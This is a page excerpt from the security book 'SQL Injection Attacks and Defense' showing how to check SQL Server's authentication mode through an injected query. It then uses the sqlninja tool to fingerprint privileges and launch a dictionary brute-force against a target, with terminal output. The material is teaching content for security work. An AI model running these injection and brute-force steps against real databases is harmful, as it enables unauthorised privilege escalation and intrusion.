SQL Injection Attacks and Defense - 2009

186 Chapter 4 • Exploiting SQL Injection
To detect which of the two possible authentication modes is in place
(and therefore whether the attack can be attempted) you can inject the
following code:
select serverproperty('IsIntegratedSecurityOnly')
This query will return 1 if Windows-only authentication is in place,
and 0 otherwise.
Of course, it would be impractical to perform a brute-force attack by hand. Putting
together a script that does the job in an automated way is
not a big task, but there are already free tools out there that implement the whole process,
such as Bobcat, Burp Intruder, and sqlninja (all written by authors of this book). We will use
sqlninja (which you can download at http://sqlninja.sourceforge.net) for an example of this
attack. First we check whether we have administrative privileges (the output has been
reduced to the most important parts):
icesurfer@nightblade ~ $ ./sqlninja -m fingerprint
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer
[+] Parsing configuration file...........
[+] Target is: www.victim.com
What do you want to discover ?
0 – Database version (2000/2005)
1 – Database user
2 – Database user rights
3 – Whether xp_cmdshell is working
> 2
[+] Checking whether user is member of sysadmin server role...
You are not an administrator.
Sqlninja uses a WAITFOR DELAY to check whether the current user is a member of
the sysadmin group, and the answer is negative. We therefore feed sqlninja with a word list
(the file wordlist.txt) and launch it in brute-force mode:
icesurfer@nightblade ~ $ ./sqlninja -m bruteforce -w wordlist.txt
Sqlninja rel. 0.2.3–r1
Copyright (C) 2006–2008 icesurfer
[+] Parsing configuration file...........
[+] Target is: www.victim.com
[+] Wordlist has been specified: using dictionary-based bruteforce